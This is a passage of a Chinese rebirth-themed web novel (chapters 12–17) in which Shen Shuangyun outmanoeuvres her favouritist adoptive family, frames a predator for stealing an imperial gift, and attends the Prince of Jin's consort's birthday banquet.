也好,大哥会更讨厌沈霜云,免得日后,家里飞黄腾达时,那废物来沾光。
“姐姐她会因为,以往大哥更疼爱我些,就暗地记恨大哥,报复他吗?”
“不会吧,她不会那么恶毒吧?我不相信!”
沈墨言眼睛一亮,像是找到仇恨目标,急声道:“对,一定是这样,就是她的错。”
“要不然,喝点酒,赌两把而已,怎会有这么严重的后果!”
他就说,他不会有错。
就是沈霜云心胸狭窄,恶意报复。
他真后悔,当初为什么没送婉音回国公府,婉音那么善良,肯定不会这样!
“这,不会吧,小霜云有那么大面子,能影响到宫里娘娘?”沈宁川不信。
周氏却听进去了,怒火高涨,她拍案而起,“沈霜云,不孝顺的死丫头,家里把她养那么大,她敢害你大哥?”
“玩几把牌算什么?谁家不玩牌?”
“就算不是她报复,也肯定没尽心!”
“我找她去。”
她骂着,提裙往外冲。
沈万里和沈家兄弟见状,赶紧跟上。
——
静华楼,包厢。
沈霜云、裴照野和赵盈盈的聚会。
两个小孩儿,四双亮晶晶的眼睛,围着沈霜云佩服不已的转圈儿。
“沈大姐姐,你怎么知道可以那么做?骆明哲真的被收押了,我姐姐没事了,居,居然那么简单吗?一个捕头就能做到?”
“天啊,你太厉害了。”
第12章 霜云,我命令你和婉音换回来
包厢里。
裴照野和赵盈盈像一对儿可爱的小猫小狗那样,乌溜溜的眼睛瞪圆,围着沈霜云来回转圈儿。
赵盈盈的感激和崇拜,喷涌般射出来。
脑袋上一对双环小揪揪,都本能朝向沈霜云。
裴照野更野性些,不好意思明显表现,但眼角余光,也不受控制。
一眼一眼地瞅她。
“为什么会这样?我是镇国公府的公子,盈盈也是官府小姐,骆明哲不怕我们,反而怕捕头?”
“而且,你也是富商家教养出来的,为什么会精通这种手段?”
裴照野嘟囔。
“县官不如现管,你和盈盈公府官门,但无法直接惩治骆明哲,捕头位卑,却刚好治理氓流。”
“游走黑白两道的地头蛇,也要归‘地头’管。”
沈霜云莞尔。
她的主意很简单。
裴照野和赵盈盈知道骆明哲的住处,手边有使唤人,那就买些女子的肚兜亵裤,胡乱绣上名字,再把裴照野的贵重首饰。
他满月时,庆元帝御赐缨络,放到骆明哲家里,然后……
报官!
无需惊动京兆府,县官就够用了,拿出镇国公府五公子的名贴,再加个丢失御赐之物,县官必然重视。
裴照野引出骆明哲,直接抓贼拿赃。
至于攀扯赵丹雪……
呵呵,他家里绣着名字的女子物私,多达几百件,赵丹雪的肚兜上,也不过绣了个‘雪’字罢了。
名中有‘雪’的女孩儿,何其多?
他说是就是?
“做事只要合‘规矩’,自然就会顺利,就是闹开了都不怕。”
这是后院厮杀的经验。
踩着规矩,把人抹了,还能把自己摘干净。
“五弟,盈盈,你们年纪小,想不到……”
这种肮脏大人的手段。
“骆明哲偷盗御赐之物,按律应是斩监候,就是他运气好遇赦,也要流放三千里,与披甲人为奴。”
“盈盈,告诉你姐姐,此事跟她无关了,不过……”
“照野,白知县那里得了你的名帖,肯定会往上禀报,二哥大概会来问你,你要有心理准备。”
想把骆明哲钉死,裴照野非出面不可。
避无可避。
“没事,只要不牵连丹雪姐,我无所谓,小爷怕谁啊?二哥大不了锤我一顿嘛。”
“我抗打!!”
裴照野傲骄昂首。
丸子头可爱地甩着。
“照野,幸亏有你了。”赵盈盈瘪嘴感激。
镇国公府小五爷的称号,的确是管用的,要是没有裴照野,赵盈盈都不知道用谁的名义去报官。
“切,那是,小爷是谁啊!”裴照野哼声,笑出一口小白牙,旋即,撅嘴扭捏道:“那个,其实这件事吧,还是多亏了,嗯……”
“多亏大姐姐,你要道谢,多谢她吧。”
“主意都是她出的。”
“都要谢,哪个都少不了。”
赵盈盈殷勤端茶,笑语颜声。
双环小揪揪精神的支愣着。
沈霜云携着温柔的浅浅笑靥。
她心情很好,不止为了裴照野那句,心甘情愿的‘大姐姐’,也是拯救一个可怜无辜的女孩子。
前世,赵丹雪冤枉惨死,又白背几年污名,今生……
终得超脱。
她的命运能改变,自己的应该也可以吧。
三人谈笑用完点心,赵盈盈邀请两人前去赵府,姐弟俩欣然应允。
——
三人下楼,欲上马车时,赵盈盈突然想起,想替大伯母要份点心。
裴照野陪同她回去。
沈霜云站在马车旁,静静等着,突见前边路上,沈家人气势汹汹冲过来。
沈万里、周氏、沈婉音、沈宁川、沈今安……
怎么没有沈墨言?
难道是?
沈霜云心念一动,唇角微扬。
“沈霜云,你大哥因你受罪,你倒是自在吃喝起来了!”
沈万里跑到面前,高声喝斥。
引得静华楼附近的食客们纷纷著目,拧眉张望。
他声音太响了!
沈婉音飞快捂脸,觉得丢人。
静华楼是京中数一数二的酒楼,来往皆是权贵富户。
爹干什么啊?她是要做太子妃的人。
“大哥怎么了?”沈霜云嘴角勾起一抹冷笑,状似关心,“是侍卫做得不顺心?”
前世初进王府时,沈墨言也嫌这嫌那,动辄‘伺候人’丢脸面,不符合他身份,沈霜云为了帮他升官。
受了楚清晏不少折腾。
“你大哥挨打了!!你不知道吗?那都是你害的。”周氏厉声数落,“沈家救你性命,养育你十五年,你大哥,就是稍稍偏疼婉音一些,你就怀恨在心,借机整治他。”
“你有没有良心?”
“婉音乖巧可爱,体贴孝顺,你这个吃里扒外,贪婪虚荣的,跟她能比吗?”
“你就敢嫉妒?”
沈墨言挨打了!
看来她猜得不错。
沈霜云含了一抹若有似无的笑,淡声道:“父亲,母亲,你们这是说的哪里话,大哥的事,我不知道……”
“我一介民女,哪能操纵宫中侍卫调派?”
“大哥,到底怎么了?”
沈万里和周氏沉默。
沈宁川目光闪烁,开口道:“大哥下职后喝醉玩了两把,被总管抓住……”
“大哥在宫聚赌?”
沈霜云仿佛无意,提高音量,“父亲,宫中规矩何其森严!大哥能进去,已是侥幸,不说好生当差,怎么能饮酒赌博?”
“父亲可知,我为了大哥的差事,付出多少努力?大哥却肆意妄为,这又怎能怪我?我是不如妹妹讨喜,但也为家中尽力了。”
永远都是这样,无论是沈墨言、沈宁川、沈今安,还是沈婉音,只要他们犯了错,不管跟她有没有关系。
最后,错处都会归结到她身上。
是她没提醒!
是她没预料!
是她没想到!
是她没本事!
“父亲,母亲,那是大哥的错,跟我无关。”
沈万里和周氏不想她敢反驳,目瞪口呆。
周围食客们听得云里雾里,不免得交头接耳:
“什么情况?”
“我认得他们,皇商沈氏的,侥幸捡了裴国公的女儿,送了个回去,转头讨要裴家宫里侍卫的缺儿,这是没干好?”
“没干好关这姑娘何事?吃酒赌博,还是在宫里,打烂了都是活该。”
“偏心眼呗,没听见吗?不如妹妹讨喜。”
“切,男丁不争气,到来怪罪女孩儿家,我真看不惯,不要个脸。”
“救命之恩,养育之情,也是没办法。”
周围嗡嗡声声,讨论不止。
大多偏向沈霜云,到把前世跨马扬刀,将军之威的沈墨言贬进泥里。
沈宁川和沈今安也是年少,尚未有前世官员和巨贾的脸皮城府,被指责的窘迫不止。
沈万里更加恼羞成怒,指着沈霜云喝,“攀上高枝儿,你到是会狡辩了?果然是个白眼狼,没你妹妹一分乖巧!”
“我命令你,跟我回去,让你妹妹去镇国公府。”
“你们俩,给我调转回过。”
第13章 霜云,人不能忘本
“你妹妹天生聪明,讨人喜欢,比你强上千倍百倍,她才应去镇国公府,你龌龊哄她,抛家弃族去了,这会儿,就该拨乱反正。”
沈万里斥责。
沈霜云鄙夷,丹唇勾起一抹冷笑。
前世,沈婉音百花宴陨落,沈家丢尽颜面,却没被任何人指责,养父母只有心疼,三个哥哥替她撑腰。
用她提携出来的地位。
他们逼她向楚清晏献言报复,命令她替沈婉音出气,全然不顾她的处境,动辄便是‘养育之恩’,‘不孝遭天谴’。
大楚以孝治国。
“爹,娘,我是你们养大的,你们想我如何,我自没置啄的余地,只是,妹妹想去镇国公府吗?”
沈婉音惊慌失色,“不不不,爹,娘,我舍不得你们,我不跟姐姐换,我死都不要离开你们。”
镇国公府要抄家的。
沈霜云浅笑,“父亲,母亲,你们看,非我不愿,是妹妹不想。”
“婉音,你糊涂啊,镇国公府是数一数二的高门,霜云是个白眼狼,废物没用,攀上高枝忘了家人,你正该取代她。”
“这才是你的孝顺,是你这么好的孩子,理应过的生活。”
沈万里苦劝,“霜云不配!!”
“她不配?你配!!”
角落,赵盈盈终于拉不住裴照野,他像头愤怒的小牛,顶着丸子头冲上来,小脸通红,一个头锤擂到沈万里胸口。
“你这个老王八,把我们裴家当成收破烂的啊,什么狗屁都想往里塞?给小爷当姐姐!!”
“我呸!”
“小爷告诉你,小爷承认的姐姐,只有沈霜云一个,沈婉音,她才不配啊!”
“她不愿意回来?谁愿意要她啊?”
裴照野把沈万里顶了个跟头,随后,抽出马鞭,披头盖脸打向沈宁川和沈今安。
周氏和沈婉音是女孩子。
他没好意思。
但心里更气,手下更重。
沈宁川和沈今安被抽得上蹿下跳,疼痛不止,偏偏,又知道裴照野的身份,不敢还手!
“住手,快住手,你怎么能打人?”周氏叫嚷,慌忙去拦。
“我‘雌雄双煞’打人需要理由吗?欺负我姐姐,我为什么不能打你们?”裴照野肆意,“有本事,你去官府告我啊!”
“小爷等着你们。”
周氏失措,见沈今安被抽中,脖子上皮开肉绽,心痛不止,眼前一黑。
“娘!”
沈婉音赶紧去扶,却没接住,两人一块摔了个四脚朝天。
“你!!”沈万里气得倒仰,不敢跟裴照野对峙,就冲沈霜云叫嚣,“你是瞎的吗?他打你爹骂你娘,你就这么看着?”
沈霜云垂下排扇般的羽睫。
好,那她不看。
赵盈盈大眼睛乌溜溜地转圈儿,‘慌乱’跑上前,尖叫道:“沈姐姐,沈姐姐,你怎么了?你坚强点!”
“你别昏倒啊!”
沈霜云:……
身子软软倒下。
裴照野回身撑住她。
沈家人借机逃离他的‘魔鞭’,狼狈凑到一起,‘哎哎’痛叫。
沈婉音瞠目结舌,不敢置信。
裴照野,那个天生讨债鬼,理应胎死腹中的魔童,他,他为什么会保护沈霜云?
他该粗野难驯,傲慢无礼,挥着马鞭打沈霜云,骂她‘丑人多作怪’,让小厮打砸她的院落!
就像前世对她那样!
他怎能承认沈霜云是‘姐姐’……
“我也是你姐姐,你会护沈霜云,为何区别对待我?”
“这不公平,这不对劲儿。”
一股妒火,熊熊燃烧在沈婉音胸膛,冲得她泪水落下。
“婉音,婉音别哭,娘在呢。”
周氏见状,心疼地抱住他。
两个沈家子搀起沈万里。
裴照野向他们唾,高声道:“真晦气,出门碰见这些个脏玩意,走,回府。”
躲到门后,生怕被波及的车夫,快步上前,跟赵盈盈一同,把沈霜云扶上马车。
周氏见状,心里突然有些慌了。
霜云,霜云居然没帮她!
为什么?
她是她娘啊,从小到大,那孩子最大的盼望,就是被她赞一句‘懂事’。
她赏个笑脸,她能把她的脚揣进怀里去暖!
周氏胆虚,逞强高喝了句,“沈霜云,明日给我滚回府来道歉,否则,我就不认你这个女儿。”
说罢,沈家几人灰溜溜地离开。
镇国公府的马车,缓缓驶离。
就剩下看热闹的静华楼食客们。
他们谈性大发。
——
上了马车,沈霜云立时清醒过来。
经过这场闹,三人也没心情去看望赵丹雪了,他们驱车,先把赵盈盈送回赵府后。
姐弟俩回到镇国公府,前往降云阁歇息。
而车夫……
他偷偷去往正院,把刚刚发生的事,一五一十禀告上去。
谢夫人听罢,眉头重重拧起。
——
降云阁。
裴照野小脸气鼓鼓的,丸子头一甩一甩,他拍着胸膛保证,“沈霜云,小爷承认你是我姐姐!”
“我知道,沈府那群王八救了你,养了你,你不好骂他们,不孝是十恶之罪,但,没关系!”
“有小爷呢!小爷帮你!”
“我保护你!”
“好姐弟,讲义气,你帮了丹雪姐,就是自己人。”
“他们在敢来欺负你,你告诉我,我去打他们。”
“照野,打人不好……”
太露痕迹了,看他们自取灭亡就是。
沈霜云轻声。
裴照野翻了个白眼,撅着小嘴儿,凑到沈霜云身前,瞅着她脸色,把丸子头蹭到她手下,嘟囔道:“好嘛。”
“姐姐,你不要难过,沈家人对你不好,我来对你好。”
从小父母疼爱,哥哥们娇宠的男孩,从没见过那样恶心的‘家人’。
心里的别扭,抵不过担忧和关心。
他小声道:“他们是养的,我是亲的。”
“我是你弟弟。”
沈霜云垂眸,看着裴照野圆圆的,别扭里遮掩不住担忧的脸庞。
手里毛茸茸,软柔柔的触感,像是探进心里。
“好,照野,姐姐都听你的。”
她轻声说。
周氏让她回府谢罪的事儿,自然当做没听见。
然而,次日,到正院请安时。
谢夫人淡淡对她道:“霜云,人总不能忘本,你要顾及养恩……”
第14章 我先提前,恭贺妹妹
“你和你养父母闹了矛盾,但父母和子女没有隔夜仇,你养兄做错事,挨了打,身为妹妹,你回府关心是应该的。”
“我会给你备下礼品,你去吧。”
谢夫人端坐上首,不急不缓。
做出决定。
沈霜云轻咬红唇。
谢夫人对她和裴家兄弟,惯来隔帘张望,不干己事不开口,怎会突然插手?
还语带指责。
“照野年纪小,脾气躁,爱跟人逞凶斗狠,你当姐姐的,应当劝他收敛锋芒,而不是……”谢夫人眉目肃然,语气中隐有严厉,“仗势欺人!”
仗势欺人?
为何这样说?
沈霜云微微失神,迟疑蹙眉。
复又恍然。
谢夫人约莫觉得,昨天裴照野当街打沈家人,是被她怂恿,是她心思不纯,利用照野天真年幼,用他当刀。
这,这……
祸从天降。
“霜云,你在沈府的处境,我略知一、二,你不是我生的,你要如何,我无权管教,只是,照野心性单纯,你应真心待他。”
“懂吗?”
谢夫人沉声。
沈霜云回府几日,就哄得照野替她打人,谢夫人觉得她腹有鳞甲,心思太重。
有些不喜。
沈霜云垂下排扇般的羽睫,强颜欢笑。
弄巧成拙了。
偏偏沈丹雪的事没法解释,她答应照野和盈盈保密。
“谢夫人教诲,霜云明白。”
她绛唇轻启,福身应下。
“你是照野的姐姐,姐弟同心,他帮你也是应当,只是心思要正。”谢夫人见她受教,气也消了,想着她处境尴尬,又觉可怜。
便道:“六日后,是晋王妃四九寿宴,我受邀参加,你随我一同前往吧。”
“是!”
沈霜云眉心微动,柔声细语,“母亲,不知女儿能否带上妹妹?”
“沈婉音吗?”谢夫人问。
沈霜云,“是。”
谢夫人便道:“随你意思。”
毕竟,也是裴家骨血。
——
正午过后,沈霜云坐上马车,带着礼品,回到沈府。
进得府来,丫鬟仆从,俱都笑脸相迎,毕恭毕敬。
沈霜云!
那是公门府第的千金,京城数得着的贵女,在不是府里半主半奴的尴尬‘大姑娘’,府里主子们敢怠慢……
他们却怕。
管家亲自迎来,把沈霜云请进沈墨言的‘文宣阁’。
沈家人都在。
身上也都有伤。
“咱们的公府大千金,终于舍得回来了?我这小小的贱地院落,哪配得上千金贵女踏足?多委屈咱们沈大姑娘啊!”
沈墨言阴阳怪气。
不是真觉得沈霜云嫌弃他们,是身上疼得太狠,用她撒气。
“大哥不要妄自菲薄,知错能改,善莫大焉,宫中总算没革掉你的差事,养好伤,回宫努力就是。”
“知耻后勇,此乃佳话。”
沈霜云嘴角勾起一抹冷笑,讽意飞腾。
她是回府探病,不打算受气。
“你这话什么意思?指责你大哥,觉得他给你丢人了?”周氏高声,不敢置信。
沈霜云平静回眸,“昨日,世子爷训了我,说他抬举沈氏,大哥却聚众赌博,给他丢人,害他在贵妃面前抬不起头。”
“女儿推举大哥时,夸他文武双全,举世无双,如今却,却……”
“女儿真是无地自容。”
当然,这话是随口编的。
裴寂之哪会见她?
周氏愕然。
沈万里深觉头痛,揉着眉头,“说来还是你没用,要是婉音回去,她那么讨喜,你大哥就直接进五城司任职当官了。”
“何必给人守门?”
“要我说,反正官职被贬,一个南门侍卫,没得前途,辞掉算了,至于你大哥……”
“要么,你在帮他求个好差事,要么,你想办法,把婉音带回国公府,二选一,你挑一个!”
“做不到,就永远别说是我沈万里的女儿。”
“哦?”
沈霜云攒眉,尚未回答。
沈婉音急了,“爹,你怎么又提那事?我都说了,我绝不去国公府。”
父亲富甲天下,大哥将军之威,二哥官拜户部尚书,主管天下官粮,三哥‘天下第一商’!
沈氏满门显赫。
她更是未来太子妃,会生下楚清晏的长子,成为皇后,甚至是太后。
她去国公府干什么?
“姐姐啊,天生就该跟裴家人在一块儿……”
抄家砍头,地府相遇。
她洋洋得意,羞涩不止地道:“爹,你难道忘了,我,我是要做世子侧妃的,怎好认回去?”
“女儿这么好,这么美,必然会得世子喜欢,招惹后院嫉妒,在有个好家世,成了国公府的千金,世子妃不得怕死?”
“女儿不好那么高调,后院争斗好残酷的。”
“也对。”沈万里拧眉,深觉遗憾。
他毫不怀疑婉音能得偿所愿,这是菩萨赐给他的女儿,天生福星,凤鸣朝阳。
是能提携全族荣耀的皇后命。
“如此,婉音回公府的事就算了,你记得你大哥的差事……”
“父亲,世子爷恼了,我不好进言,暂且让大哥忍忍吧,婉音的婚事,却是不好耽误。”
沈霜云神色从容。
晋王府……
是‘福地’啊,晋王窝里横,晋王妃刻薄高傲,世子楚清晏,面上像个人,内里全是肮脏肚肠。
喜好龙阳,虐人成性。
前世,沈霜云绞尽脑汁,从一个随手能打死的侍妾,成了不能擅动的长子之母。
天知她做了多少努力。
如今,这福气要归沈婉音了!
不晓得她被打得遍体鳞伤时,沈万里会不会说:“侍妾之流,被夫主打也是福气,世子不打别人,偏打你,那是喜爱你。”
“男人打女人,天经地义,况且你是侍妾,忍忍吧,这是你的命。”
“定是你太笨了,不会讨男人喜欢,我给你寻个青楼女子,多学些本事,就不会挨打了。”
“你这榆木疙瘩,讨不了夫主喜欢,也就是家里有情有义,才没放弃你,换成旁人,早不要你了。”
前世的沈家诸言,尤在耳旁,那时,沈霜云也是笨得很,居然真的怕被家人放弃,死在晋王府,便竭尽全力的听话,讨好。
扶持家族。
今生……
“父亲,母亲,我已经劝得国公夫人,晋王妃寿宴,可以带妹妹参加,妹妹国色天香,活泼讨喜,定然能得偿所愿,跟世子爷共结连理。”
“我先提前,恭贺妹妹!”
第15章 王妃寿宴
“真的!”沈婉音大喜过望,第一回看沈霜云顺眼了些,“姐姐,你倒真有点本事了。”
沈家人也眉开眼笑,围上来,七嘴八舌帮她出主意。
到把沈墨言抛到脑后。
再没人提他的差事,甚至他的伤势了。
沈墨言趴着,心里怪怪的,抬头又见沈霜云端坐饮茶,含笑凝视沈婉音的模样。
“大妹妹,你……”
往日都把自己这个哥哥,看得比性命都重要啊。
尤记得前些年,他骑马摔了,沈霜云心疼得直掉眼泪,彻夜守在他身边,唯恐他敷脚的热帕冷了,影响他恢复。
今朝怎么,竟一句没关心?
沈墨言既气沈霜云,又恼家人不关心,一时连沈婉音都怨上了。
赌气趴着不言语。
沈霜云全然没关注他,前世种种亲情,已随烈火焚烧殆尽,今生……
一个无关紧要的仇人罢了。
哪值得她垂青半点?
——
骆明哲案,白县令判了斩监候,上交京兆府。
裴九卿不耐翻卷,看见裴照野的私印和御赐之物,艳丽脸庞皱巴起来。
他眼波流转,直接下令,“你去把这姓骆的狗贼,押解到咱们这边来。”
“一天按三餐揍他,别给他饭吃。”
“啊?”师爷进来,疑惑着问,“这,大人,不知要饿他几日?”
裴九卿翻白眼,“这都要问我?要你们干什么?”
“先饿十天吧。”
师爷愕然,“大人,会死吧?”
“谁死?你家大人长命百岁,你死我都不会死!”裴九卿瞪眼睛,锤桌跺脚,“你不会说话就把嘴闭上。”
“在问罚你俸禄!”
“大人误会了,属下是说,那骆明哲会饿死。”师爷到没怕,慢悠悠解释。
裴九卿翻白眼,“把他偷的那些肚兜裤头扔牢里,他不是爱那道,好毁人家女子清白吗?”
“那就多吃点。”
“是!”师爷领命,苦笑暗叹:这缺德主意,也就自家大人能想出来。
错个主儿,都没这么损。
他下去办差。
裴九卿带着案卷回镇国公府,揪住裴照野的丸子头,锤他质问,“骆明哲一个氓流,你怎么会接触到他?”
“他哪来的手段,偷到御赐之物?”
“你藏着什么秘密?里头有哪些内情?”
“快,告诉二哥。”
二哥也想知道。
凶神恶煞的艳容,充满压迫力,但裴照野是有担当的‘小五爷’,抱着脑袋,抗住质问,硬是没说,“是我是我,就是我!”
“我路遇他的。”
“全是巧合,是意外,没有秘密。”
他誓死守护丹雪姐的贞节。
裴九卿虎视眈眈,表情阴沉地看着他。
裴照野后背发凉,梗起肚子。
半晌,裴九卿突然嗤笑,仿佛恶魔低吟,但没在追问,大发慈悲地放他走了,随后,传来属官,“去查,照野和骆裤衩,怎么回事?”
“是!”
——
时光流逝,转眼到了晋王妃寿宴。
晋王是当今庆元帝的同胞弟弟,亲王之尊,王妃寿宴,宾客如云,来往皆是权贵。
镇国公府自然应邀前来。
谢夫人半路遇见亲姐姐,带着裴照野换了马车,沈霜云和裴家几个公子一同。
马车停在晋王府门前,沈霜云提裙下车,一直候在王府门外的沈家人看见她,赶紧迎上前。
沈婉音见她云鬓堆翠,美裳华服,戴金点翠穿珠流苏,鬓角插清金嵌珠宝圆花,手上戴着牙雕贴金镯,耳边珍珠圆润洁白。
端是清丽眩目。
明明是双胞胎,相貌相似,可人敬罗衫,沈霜云瞧着,竟比一身棉布锦衣,头戴银钗的沈婉音,美上八分。
皇商沈家,是有钱的,但……
商籍外行,不许穿绸,不许戴金。
这是大楚律法,沈婉音衣着再精致,双面刺绣,锦华满身,也比不得供品云缎。
她满眼嫉妒。
沈霜云看见他们,停下脚步。
裴家几位公子视若无睹,直接越过她。
沈家人见他们走了,这才敢上前,沈婉音酸溜溜地开口,“姐姐身份到底不同了,这般贵重华服,娘都不曾穿戴过。”
“我也无福享受。”
“姐姐命真好,婉音,婉音好生羡慕~”
沈墨言今日,也强撑病体来了,见状赶紧哄,“婉音别哭,等哥哥升官,改换门庭就好了,到时,你要多少金银首饰,哥哥都给你置办。”
沈今安也心疼不已,转头埋怨沈霜云,“你这人也是的,明知道家里的情况,非要穿金戴银的过来,不够你显摆的了!”
“果然眼皮子浅,一点不懂体恤母亲和婉音!”
沈霜云神色淡淡,“要不,我跟婉音换回来,她去镇国公府,就什么都能穿戴了。”
沈婉音噎住,挤出的眼泪都憋回去了。
“长者赐,不敢辞,首饰是母亲赠的见面礼,衣裳是五弟特意送的,自是要用。”
周氏听到‘母亲’二字,本能觉得是自己,但见沈霜云目光淡漠,看都没看她,愣一愣神,突然反应过来。
她说的是谢夫人。
霜云她,她怎么能叫别人母亲?
其实,自从沈霜云离开,周氏就觉得不自在,往日在府里,霜云服侍好婉音后,都会来她这里伺候,锤背敲腿,梳头净面,都是霜云去做。
如今换了丫鬟,哪哪都不妥当,梳个髻,能扯掉她的头发。
周氏心里发凉,莫名觉得,比丫鬟体贴能干的大女儿,怎么好像对她无情了?
错觉,定然是错觉。
她想说些什么。
沈霜云,“父亲,母亲,快要开宴了,你们还要在这里磨蹭吗?”
“要是耽误妹妹的‘好事’怎么办?”
“入了晋王府,成为皇室之人,妹妹想穿戴什么都行。”
沈家人闻言,也不在纠缠。
沈霜云带着沈婉音,走入晋王府,进了花园。
这里,正是寿宴场地。
今朝,时至五月。
花园里奇花竞放,假山叠翠,一条蜿蜒曲水穿园而过,水面浮着碧绿莲叶。
粉白的荷莲点缀其间,偶有锦鲤跃出,溅起晶莹水珠,引得来往贵女嬉笑打闹。
花园假山旁建了戏台,京中有名的‘春喜班’,正唱着【麻姑献寿】。
戏台周围,又置放着紫檀雅案,案上摆着樱桃肉,火腿煨熊掌,官窑粉碟盛满鲥鱼,燕窝盏里飘着金丝菊花……
端是奢侈无度。
第16章 沈姑娘,你果然是心思深沉之辈
沈霜云进了花园,就跟沈婉音分开了。
她是镇国公府的姑娘,自然要去找谢夫人。
沈婉音算是‘伴当’,被丫鬟引至边角坐位,她看着沈霜云走到花园中间……
那里。
宾客如云。
晋王妃,宗室贵女们,公主郡主,王妃公候,世子妃妾,聚焦一处,沈霜云那蠢货,被谢夫人揽着,笑语连连。
沈婉音离得太远,听不清她们说什么,但……
她们在笑。
也全都拿出见面礼,和颜悦色地塞进沈霜云怀里。
前世,她都没享受到这个风光,谢氏那继妻,刻薄虚伪,从没带她参加过这么高端的宴会。
她去的,都是些贵女们的小宴。
沈霜云不知道哪里得了她的眼,大概,一个继妻,一个小妾,臭味相投吧。
沈婉音愤愤不平,充满贪婪和妒恨的眼睛,四处乱扫。
她想找楚清晏。
她的未来太子爷。
想起那日在明昭楼一遇,世子爷矜持清雅,拾阶而下,跟她四目相对。
沈婉音敢断言,世子爷对她有意。
男人看女人的眼神,她懂。
——
沈霜云的目光,浅浅扫过沈婉音,旋即,又被晋王妃的声音打断。
“……谢夫人真有福气,从天而降这么大个女儿。”
“女儿心细,比儿子贴心得多,我惯来爱得很,可惜没生女儿的福份,就养下个混小子。”
晋王妃鬓角微白,满面慈祥,拉着沈霜云的手,像是喜爱夸赞,但细品其话中之意,又隐约带刺,无端扎得人疼。
然……
转眼在瞧她,慈眉善目,雍容华贵,和蔼地让人觉得,恶意揣测她是罪过。
“王妃娘娘谬赞了,霜云确实是个好孩子。”
谢夫人眉眼淡淡,像是没听懂晋王妃讽她‘天降庶女’,“世子妃孝顺懂事,娘娘有佳媳相伴,哪需要羡慕臣妇。”
晋王世子妃史氏,嫁进王府七年,世子后院,颗粒无收。
楚清晏二十四了,膝下空空。
京城谓之:悍妇妒妻。
晋王妃笑容敛起,眸光深沉。
谢夫人优雅端坐,笑容不变。
周围贵妇们好似没听懂两人的刀光剑影,互相讽刺,依然谈笑风生,抓着沈霜云和世子妃夸。
晋王妃缓下心神,重新带上笑,“谢夫人说得有理,不过,我还是喜欢贴心的女孩儿。”
“儿媳妇是要跟儿子相守的,哪能长陪着我这老婆子?”
“霜云,我送你的见面礼,你可喜欢?”
她把矛头调转。
“王妃赐下,自是喜欢的。”
沈霜云明眸微动,谨慎轻语。
谢夫人柳眉拧起。
晋王妃笑容更甚,“哦,那我倒要考考你,你可知道,我送你的镯子,好在哪里?”
谢夫人将沈霜云带来介绍,融入交际圈时,周围贵妇们都送了见面礼,晋王妃身为寿星,自然不例外。
她送的是一对阳绿糯种的翡翠圆镯。
种水尚可,颜色尚可。
拿得出手,但以王妃身份,不算贵重,只是在晋王妃看来,沈霜云一个刚回镇国公府的,阳绿翡翠够抬举她了。
商户养的庶出女,见过什么好东西?
今番刻意提起,也是被谢夫人挤兑恼了,转来拿沈霜云撒气。
前世……
就是如此啊。
沈霜云轻叹。
晋王妃表面慈祥和蔼,实则心眼窄,刻薄成性,最爱胡乱迁怒人,世子妃家世不凡,楚清晏爱好下作,她不好折腾儿媳,就把火气撒到侍妾奴婢身上。
沈霜云粉轿进门,沈家商户门第,怀孕前,没少被她折腾。
今生……
不伺候了。
小心眼的婆婆,心眼多的妹妹,两相得宜。
十分般配。
沈霜云素手轻轻扶了扶镯子,发出泠泠声响,如同一抹泉水。
“一泓碧凝湘妃泪,半寸光摇阆苑苔,王妃娘娘赐的玉镯如初春新柳,糯质柔娇,应是阳州蓝县产的。”
“传闻中,前朝明阳公主就有一对这样的镯子,乃是新婚时,驸马相赠,名唤‘相思叩’……”
她不急不缓。
晋王妃嘴角下抿,目露鄙夷,庶出小女,不懂装懂,她启唇,刚想嘲讽谢夫人。
沈霜云又道:“不过,相思叩虽是阳绿镯儿,但镯身内臂阴刻梵文【心经】。”
“娘娘赐下的镯子内臂,虽有【心经】,却不是梵文的,想来应该不是真品。”
“约是仿的吧。”
被点出赐了个‘假’镯子,晋王妃一时语塞,脸都绿了。
周遭贵妇们有片刻沉默。
谢夫人翘了翘唇,轻飘飘的‘数落’,“你小小年纪,用不着那么贵重的首饰,若真有喜欢的,母亲给你就是。”
“我那里有不少真品。”
“不要闹王妃娘娘。”
“女儿卖弄了。”沈霜云敛衣行礼,“娘娘莫怪。”
“沈姑娘见识广博。”晋王妃斜眼。
刻意加重‘沈’字。
沈霜云淡笑不语。
阴阳怪气,她前世听惯了,早就刀枪不入。
其实……
她一直不明白,堂堂亲王妃,怎会如此小性儿?
“好了,霜云,别陪着我们这些老婆子了。”谢夫人见晋王妃越来越不像话,出言维护,“你玩耍去吧。”
“多结交些朋友,免得憋歪了脾气。”
“是。”
沈霜云暼了晋王妃一眼,柔缓回着。
离席而去。
她款步至凉亭,刚想坐下,沈婉音突然冒出来,拽住她胳膊,压低声音道:“爹娘让你帮我,你难道忘了吗?”
“一味巴结权贵,舔人家脚皮,我要是无功而返,看你怎么跟爹娘交代?”
沈霜云回眸,淡抿唇瓣。
片刻,展露笑颜,“妹妹,你跟世子‘一见钟情’,我本不好插手,不过,父亲交代了,我总要管你的。”
“我刚刚晓得,世子在湖边问心楼里,替王妃娘娘祈福抄经,你若有心,可以去寻……”
“他,一个人。”
“真的?”沈婉音喜出望外,两眼发光,转身就跑。
沈霜云凝视她的背影,唇角笑意掺进氤氲。
“沈姑娘,你果然像老四说的,是个心思阴沉之辈,连亲妹妹都坑!”
身后,突然传来重重嘲讽。
沈霜云一怔,杏眸回转,就见绝艳天下的裴九卿,冷颜站在树下。
第17章 排排坐,分果果
裴九卿什么时候来的?
居然离得这么近!
她们都没发现!
是,是……
个子太矮,太削瘦,被树挡得太严实了吗?
沈霜云轻咬丹唇,微微榻下腰身,碎步上前。
她垂首恭谨,轻唤道:“二公子。”
“哦,不反驳一下,是直接认了心思深沉,坑亲妹妹?”裴九卿挑眉,讽意更重。
他走进前来,冷沉地盯着她,粗暴拉住她的手腕。
嗯~
不用抬头。
可以平视。
裴九卿心情微缓。
可眉宇那股暴躁和严肃显露无疑。
沈霜云突然觉得,这个问题,她必须好好回答。
“二公子!”
她斟酌,丹唇轻启,“你是京兆府尹,过手案件成百上千,应当知道,有时眼睛会骗人,耳朵也会骗人。”
“真相如何……”
“没经过真切调查,充分了解,随意下结论,乃是不公。”
“况且,良言难劝该死的鬼,断人前途,如杀人父母。”
裴九卿双目一沉,凛冽看她,“调查吗?”
“你是在向我暗示什么?”
“那就要看二公子如何理解了。”沈霜云垂眸。
照野有言:裴九卿吃软不吃硬,几回接触下来,她也觉得,相比表里不一,心思诡谲的裴寒声,漠然置之,冷眼旁观的裴寂之。
‘残暴不仁,暴躁成虐’的裴九卿,反而更正直一些。
她想引导裴九卿去了解她。
